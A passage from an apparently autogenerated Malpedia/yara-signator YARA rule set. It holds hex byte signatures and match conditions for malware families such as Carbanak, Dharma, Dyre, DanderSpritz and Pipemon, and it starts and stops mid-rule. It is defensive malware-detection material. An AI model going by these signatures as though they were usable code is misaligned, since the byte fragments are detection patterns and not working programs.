		$sequence_8 = { 7417 56 8b30 50 e8???????? 8bc6 59 }
		$sequence_9 = { 5b 8be5 5d c3 ff15???????? 0fb7c8 81c900000780 }
	condition:
		7 of them and filesize < 2277376
}

rule MALPEDIA_Win_Bitsloth_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d21005cc-48c4-5c1b-8a1c-480f484a1c06"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitsloth"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitsloth_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "b507e5914cce1955d65d2d9ef747d0eb1b6c8dbf2ed2455d47603f8c520d8766"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837de800 740e 8b4de8 8b11 8b45e8 50 }
		$sequence_1 = { eb44 8b45f4 0345ec 8a48ff 884dfc 8b55f4 0355ec }
		$sequence_2 = { 52 e8???????? 83c40c 8b45f8 83e801 8945f8 837df803 }
		$sequence_3 = { 034df8 8b5508 898a90af0600 8b4508 81b890af060006010000 7310 8b4d08 }
		$sequence_4 = { 8b5104 52 8b01 50 8b4df0 e8???????? c745fc00000000 }
		$sequence_5 = { eb1b 68???????? 8b4df8 51 e8???????? 83c408 }
		$sequence_6 = { 837df400 751b 6a00 6a00 6812c92300 e8???????? }
		$sequence_7 = { 8b4d08 89487c 33c0 8b4dfc 33cd e8???????? 8be5 }
		$sequence_8 = { 6a03 ff15???????? 8985f8ecffff 8d95e4ecffff 52 8d859cecffff 50 }
		$sequence_9 = { 7515 6a00 6a00 68fa920300 e8???????? 83c40c 33c0 }
	condition:
		7 of them and filesize < 677888
}

rule MALPEDIA_Win_Carbanak_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aedde496-1e00-538c-b489-6c77c5599b0a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carbanak_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "0f833e010e6f92f115d02deffe6d957025aee9eed313be7bf6c5b84cdc07ff91"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7c0d e8???????? 84c0 7504 33c0 }
		$sequence_1 = { 7907 32c0 e9???????? 7507 }
		$sequence_2 = { 85c0 7509 e8???????? b001 }
		$sequence_3 = { e9???????? 7507 b001 e9???????? }
		$sequence_4 = { e9???????? 3d2c5c0700 750a e8???????? e9???????? }
		$sequence_5 = { 488d4dc8 4183c8ff 488bd0 488bd8 e8???????? 488bcb }
		$sequence_6 = { 41ffc1 ba23000000 48895c2428 48895c2420 e8???????? }
		$sequence_7 = { ff75fc 8ad8 e8???????? 83c414 84db 7511 }
		$sequence_8 = { 6aff 68???????? 6a01 8d4dec 51 }
		$sequence_9 = { 50 50 ff7510 ff750c 50 ff7508 }
	condition:
		7 of them and filesize < 658432
}

rule MALPEDIA_Win_Jessiecontea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ed5d981c-49e8-5f40-808b-1f7fc2ae5113"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jessiecontea_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "f376a26e7b2528bac10debe17ecc06d45573d24dcd0617a6c31e158d3d59f89a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85a8f9ffff 50 8d85f8fbffff 50 ff15???????? }
		$sequence_1 = { 8b7d18 8945c0 8b4510 8945c4 8b451c }
		$sequence_2 = { 660fdbe3 660fdfc8 660febe1 3bd6 0f826effffff 660ffee5 0f28c4 }
		$sequence_3 = { e8???????? 83c418 c7857cf0ffffffffff7f c78580f0ffffffffff7f b8ea650000 c7858cf0ffff00000000 }
		$sequence_4 = { 50 51 8d8df8f7ffff e8???????? 8d85f8f7ffff 6a5c 50 }
		$sequence_5 = { 745b 8b35???????? 57 ffd6 3d04010000 7d4b }
		$sequence_6 = { 83c404 85f6 7425 8bbd7cf4ffff 68???????? }
		$sequence_7 = { 7f0a 8bb5f0b7ffff 3bfe 7293 }
		$sequence_8 = { 452be5 488d152b6bfeff 4489642440 0f8574fcffff }
		$sequence_9 = { 6603c1 0fb70d???????? 0fb7c0 33c8 66898dde000000 }
		$sequence_10 = { 83c008 668945d8 0fb705???????? 83c008 668945da }
		$sequence_11 = { 6683c00c 0fb7c8 8b05???????? 33c1 6689459c 8b4580 }
		$sequence_12 = { 4889542440 488bfa be01000000 ff15???????? }
		$sequence_13 = { 4889442430 488d4e10 4889442428 4c8bcb }
		$sequence_14 = { 4533c9 4889742420 4c8d85d0040000 488bcf 488d95e0050000 }
		$sequence_15 = { 817c2440949dd460 7489 33c0 4c8ba424880b0000 488b9c24800b0000 }
	condition:
		7 of them and filesize < 413696
}

rule MALPEDIA_Win_Dharma_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e4f9cff7-2b7e-5614-97de-e64666dbaa6b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dharma"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dharma_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "ed48c8d46095165b3771ad3d606dd9e4c3ca951524311f4024cd2a8039cd375d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8b5510 52 8b450c 50 8b4df0 c1e105 }
		$sequence_1 = { c1ea10 81e2ff000000 8b048db8b34000 330495b8b74000 }
		$sequence_2 = { 50 e8???????? 83c408 c785c4fdffff01000000 8b8dd4fdffff 51 e8???????? }
		$sequence_3 = { 51 8b55fc 52 ff15???????? 8b4df8 89048db8864100 8b55f8 }
		$sequence_4 = { 8b4508 8b4d08 8908 c745f801000000 8b5510 c70201000000 8b45f8 }
		$sequence_5 = { 51 6a00 8b55ec 52 e8???????? 83c40c 8b45ec }
		$sequence_6 = { 8b45fc 50 e8???????? 50 6a00 }
		$sequence_7 = { 50 8b4d10 51 8d95e0fdffff 52 e8???????? 83c410 }
		$sequence_8 = { 8b4d08 0fb6548121 8b8590feffff 0b9485b8feffff 8b8d90feffff 89948db8feffff }
		$sequence_9 = { 68feff0000 e8???????? 83c404 8945ac e8???????? 8945d0 6a02 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Elf_Hideandseek_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "10c8f40f-fa57-553f-afa8-26796ff221f6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.hideandseek_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "768ba339bd4afb32724f528de613e471a16c477a1e04b8333f9c4f37161d943f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740d 83ec0c ff36 e8???????? 83c410 56 56 }
		$sequence_1 = { e8???????? eb09 83ec0c 56 e8???????? 83c410 f7df }
		$sequence_2 = { 89c7 85c0 0f8947040000 e9???????? 83be4c01000018 0f87f7040000 8b864c010000 }
		$sequence_3 = { 84d2 7410 8a53ff 8d43ff 3a542403 7404 84d2 }
		$sequence_4 = { e8???????? 8b35???????? 83c410 8d78f0 eb45 8b442410 31d2 }
		$sequence_5 = { 31f6 8b5c240c 803d????????00 7532 e8???????? 88c2 89c1 }
		$sequence_6 = { b801000000 83c410 c684331001000000 c7864c0100000b000000 c7863801000000000000 eb09 b803000000 }
		$sequence_7 = { e8???????? c7874801000004000000 58 5a 8d84243a010000 50 8d8710010000 }
		$sequence_8 = { c1e806 f7d0 83e001 c3 31c0 c3 8b4c2404 }
		$sequence_9 = { 5a 85c0 59 0f8f1dffffff 50 8b442454 }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Dyre_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "71a1cda5-bbc1-5437-8a4b-d424fa7e7598"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dyre_auto.yar#L1-L228"
		license_url = "N/A"
		logic_hash = "af535d590e4b9fb30bcfd8419a9c576a8fa6a184366164dc5fc0ce71c5e82236"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6800004000 6800000400 ff15???????? a3???????? 85c0 }
		$sequence_1 = { 747c 8d4602 50 e8???????? 8bf8 }
		$sequence_2 = { 33c8 894304 895308 894b10 c745ec10000000 837df400 0f84f7000000 }
		$sequence_3 = { 59 85c0 740d 8d4801 3b4d14 }
		$sequence_4 = { 742e 53 8bc7 e8???????? 8bd8 }
		$sequence_5 = { 81ec14010000 8364240400 53 56 57 }
		$sequence_6 = { 59 83f8ff 7549 33ff 83f8ff 7542 }
		$sequence_7 = { 33d2 f7f3 3bd6 7409 }
		$sequence_8 = { 4883ec20 488bd9 b910270000 ff15???????? 488bcb }
		$sequence_9 = { 488bcd ff15???????? 488b5c2460 8bc7 4883c440 }
		$sequence_10 = { 4883ec20 488b0d???????? 33d2 ff15???????? }
		$sequence_11 = { 488b4c2458 488d442450 8d5301 4533c9 4533c0 4889442420 895c2450 }
		$sequence_12 = { 488bd9 83fa04 763b 0f1f00 0fb74b02 ff15???????? }
		$sequence_13 = { 4883ec20 448b4124 33ff 488bf2 428d04c500000000 488bd9 014120 }
		$sequence_14 = { 488bcb ff15???????? ffc7 034310 8d740627 413bfc 7cdf }
		$sequence_15 = { 488bcd 897c2470 48897c2420 ff15???????? 85c0 }
		$sequence_16 = { 668b1401 668910 83c002 4e 75f3 }
		$sequence_17 = { 85db 7416 57 8bfa 2bfe 90 }
		$sequence_18 = { 8bd8 56 8bf1 85db 7416 }
		$sequence_19 = { 50 a1???????? 6a08 50 ff15???????? 8bd8 }
		$sequence_20 = { ff15???????? 8bf0 8d85d4fdffff 50 }
		$sequence_21 = { 90 ff15???????? 8a0437 8806 46 4b }
		$sequence_22 = { 833d????????00 751b 6a00 6800004000 6800000400 }
	condition:
		7 of them and filesize < 590848
}

rule MALPEDIA_Win_Pipcreat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff44b514-0bd0-5060-9863-69f45ed3246f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipcreat_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "8b0c4b69f4a54d875f228245ca03fbe66625db30fecf518efb33a362af79adb3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6800100000 50 ff35???????? e8???????? 83c40c 5f }
		$sequence_1 = { 6a00 8d442420 6a00 50 6a01 6a02 6a20 }
		$sequence_2 = { 83c418 85c0 7436 56 ff35???????? ff15???????? }
		$sequence_3 = { 33c0 c3 8b0d???????? 51 ff15???????? }
		$sequence_4 = { e8???????? 83c40c ff15???????? 6a3f a3???????? 33db }
		$sequence_5 = { 6a02 6a20 68ff010f00 53 57 52 ffd5 }
		$sequence_6 = { 40 3b4510 7cf6 ff35???????? ff15???????? 5f 8bc3 }
		$sequence_7 = { 6a00 57 ff15???????? 83c002 83c408 8bf8 66833f00 }
		$sequence_8 = { 6a30 6868420010 eb07 6a28 }
		$sequence_9 = { a5 50 33db ff35???????? a4 ff15???????? }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Electric_Powder_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "70f1fd4f-5a0a-57d1-8155-729a3e15c844"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.electric_powder_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "801118c2f636f6d2e21f384ccb7f80375d94dda489cf095ec07a8f466a0ae16c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 0f84b6130000 8d8de0fbffff 8d5720 8d7102 668b01 83c102 }
		$sequence_1 = { 8d8d68faffff e9???????? 8d8d5cf9ffff e9???????? 8d8df8faffff e9???????? 8b857cf9ffff }
		$sequence_2 = { 3bd8 0f42d8 8d4301 85c0 7504 33f6 eb34 }
		$sequence_3 = { 8b35???????? 81c230750000 89b574f9ffff 52 ffd6 68???????? 6a01 }
		$sequence_4 = { 3b4e08 0f838e010000 8b4604 c704c810000000 8b5608 83ea01 }
		$sequence_5 = { 0f4dd0 7ce7 56 8d7207 83e6f8 3bd6 }
		$sequence_6 = { c645fc79 e8???????? c785e0fbffff00000000 81cf00010000 c785e4fbffff00000000 }
		$sequence_7 = { c60600 8d8d30fcffff e8???????? 8d8520fdffff ba???????? 50 8d8da0fbffff }
		$sequence_8 = { 8947fc eb0b 50 e8???????? 83c404 8bf8 8b4dfc }
		$sequence_9 = { 8bf0 e9???????? 8b45f8 46 8b541004 8955ec 3bf2 }
	condition:
		7 of them and filesize < 565248
}

rule MALPEDIA_Win_Vmzeus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b33099d-6223-5a8a-8424-386c7b1a44ee"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vmzeus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vmzeus_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "17e1987d98b8da94f97f8bd71f2765f1dddeafbd1967101797951278b17d5b65"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3a4 b001 eb02 32c0 }
		$sequence_1 = { 7508 6a04 58 e9???????? 32c0 6a4c }
		$sequence_2 = { 6a4c 8d7c242c 59 f3aa }
		$sequence_3 = { f3a4 b001 eb02 32c0 5f 5e }
		$sequence_4 = { 58 e9???????? 32c0 6a4c 8d7c242c 59 f3aa }
		$sequence_5 = { e9???????? 32c0 6a4c 8d7c242c }
		$sequence_6 = { 58 e9???????? 32c0 6a4c 8d7c242c }
		$sequence_7 = { 7508 6a04 58 e9???????? 32c0 }
		$sequence_8 = { 6a10 32c0 59 8bfb }
		$sequence_9 = { 6a04 58 e9???????? 32c0 6a4c }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Unidentified_103_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b558874c-ad8a-53b0-9aa8-68edfb2b5b00"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_103_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "53bab14606fb94c26c9c4250a4ba5d5b69e3e483ae51cdbc9cd021b3f09f3c4b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 89c3 ffd6 897c2408 c744240400000000 890424 ff942488000000 }
		$sequence_1 = { 897c2434 8bbc2450010000 894c2430 8b8c244c010000 }
		$sequence_2 = { 8944246c 8d842419010000 c784241901000061647661 c784241d01000070693332 c78424210100002e646c6c 890424 }
		$sequence_3 = { 8b3c24 85ff 743a c6012d c6441e0200 89d3 0fb60c06 }
		$sequence_4 = { 8b8424c4000000 ffd0 83ec04 c684249001000000 8dac240c060000 c78424c403000000000000 }
		$sequence_5 = { 8b842440010000 89442418 8b842438010000 89442414 8b8424d0000000 8b00 89442404 }
		$sequence_6 = { 8d54244a 83c001 803c0200 75f7 8b8c2498000000 c744240c34020000 }
		$sequence_7 = { c78424a60000007072696e c68424ac00000000 e8???????? b865000000 31db c784241c03000028010000 c7842433010000576d6950 }
		$sequence_8 = { 89442404 c78424d201000052656164 c78424d601000046696c65 c68424da01000000 e8???????? 891c24 8984241c010000 }
		$sequence_9 = { 897c2420 8bbc2444010000 897c241c 8bbc2440010000 897c2418 8bbc2488010000 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Powerduke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b1a14b33-ddbf-5df6-8a25-665602dd43b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerduke_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "b0e443670552cebb99307ce5c81f7553239dfaab3a0b54a91654aba975b30757"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f8401030000 8945bc 6a00 6800400000 68???????? ff75bc ff15???????? }
		$sequence_1 = { ebea ad 89c2 81fa68747470 0f8586010000 }
		$sequence_2 = { 681b000200 6a00 68???????? 6801000080 ff15???????? 09c0 0f8597000000 }
		$sequence_3 = { 7518 8d85f4f7ffff 6800040000 50 ff35???????? ff15???????? 8d85f4f7ffff }
		$sequence_4 = { 6a00 ff35???????? ff15???????? c705????????00000000 837dfc01 }
		$sequence_5 = { 55 ff15???????? 5a 59 }
		$sequence_6 = { c745fc01000000 eb11 c745d001000000 8b451c }
		$sequence_7 = { 7403 41 ebf1 c6040e00 51 }
		$sequence_8 = { 7419 a3???????? ff7514 50 ff15???????? c705????????01000000 31c0 }
		$sequence_9 = { ff75e4 ff15???????? ff75c4 ff15???????? }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Unidentified_096_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "14dc2ed1-3b02-5d6b-954c-e104f03f276c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_096"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_096_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "ce476a34a11ac04b46490ceeeb6d4b2e968299e307b980b5713cec9af31b5ce1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a2???????? 81e1ffff0000 5f 83c1f8 5e }
		$sequence_1 = { 52 e8???????? 83c418 c3 8b0d???????? 51 68???????? }
		$sequence_2 = { 55 6800000080 55 6800000080 }
		$sequence_3 = { 68ff000000 52 ff15???????? 5f 5e 33c0 }
		$sequence_4 = { 85c0 7505 5e 83c40c c3 6a0c }
		$sequence_5 = { 83c03d eb3f 85ff 8ac1 7d04 }
		$sequence_6 = { 85ff 7523 8b4c2420 8b54241c 8b442414 51 52 }
		$sequence_7 = { b024 a2???????? eb3b b025 a2???????? }
		$sequence_8 = { 7d04 0480 eb35 0470 eb31 }
		$sequence_9 = { 8b400c 89410c e8???????? 83c410 56 e8???????? }
	condition:
		7 of them and filesize < 25648
}

rule MALPEDIA_Win_Remsec_Strider_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db849346-fdc8-5458-b09f-0ed961302034"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remsec_strider_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "c3432e8fc924d7004cd90cb89b83a8a788a294cbc5555d3841fb9abcee97c26b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? c700???????? c74024282d8000 897828 8b481c c7412003000000 89782c }
		$sequence_1 = { e8???????? 8bc8 6a01 8bc3 e8???????? 83c40c 83c8ff }
		$sequence_2 = { 2345fc d3e8 0fb74de2 03c1 8b4e4c 8b0481 8bc8 }
		$sequence_3 = { 6a04 59 83460810 8b55f4 0fb75a02 8b4608 0fb7d3 }
		$sequence_4 = { ff4dfc 75d1 8bc6 e8???????? 8bf8 8d4701 3dffffff3f }
		$sequence_5 = { 5e 5b c3 8b4010 80781501 750d }
		$sequence_6 = { 8b4628 8b4e14 8bfb eb0c 8b5008 3bfa 7302 }
		$sequence_7 = { 8bd8 8b4310 8b4844 56 3b4840 7205 e8???????? }
		$sequence_8 = { 0f859af6ffff 8b44240c dd16 c1ef0e 8d84b80400f8ff 6a03 }
		$sequence_9 = { e9???????? 8b06 834008f0 8b36 b8ffff0000 66014634 8bc7 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Danderspritz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1b0527de-0d7b-5ad4-aabc-a511337e98f1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danderspritz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danderspritz_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "a3dc5330dc4023c2900af3ec5e9bf8ed5ecdce820fe76e6a6bb8f01cda67ce81"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 3ac3 7534 4c8b15???????? 483bfb 4d8bca 0f94c2 }
		$sequence_1 = { 48894360 4183f802 0f877bfeffff 4183e101 488bcb 418bd1 e8???????? }
		$sequence_2 = { 7425 85d2 7421 3bc1 721d 3bc2 7219 }
		$sequence_3 = { 4053 4883ec30 488bd9 85d2 753d 488d9198010000 488d0d75e60100 }
		$sequence_4 = { 83f8ff 7505 e8???????? 8b0d???????? ff15???????? 4885c0 7404 }
		$sequence_5 = { 4c8d0d5fe60300 4c8d0560e60300 488d1555e60300 488bc8 e8???????? 83f8ff 7525 }
		$sequence_6 = { 0fb6da 498d4be0 4533c9 448bc0 498bd2 896c2448 66896c2434 }
		$sequence_7 = { 488bfe 4885f6 759a 8b435c 83635400 894348 }
		$sequence_8 = { 4103fd 488b4538 8a480c 80f9ff 7403 83c708 393e }
		$sequence_9 = { 448bc0 ba02000000 488bcf e8???????? b800000010 488b9c2408010000 4881c4c0000000 }
	condition:
		7 of them and filesize < 750592
}

rule MALPEDIA_Win_Pipemon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "641a9fef-3a8d-534e-bfa2-dfb8a6acf672"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pipemon_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "e491e9d37fd535256d0dbfcb98468cb6b5a0e8d2ca1e4782bf7c27cb6ebbc39b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
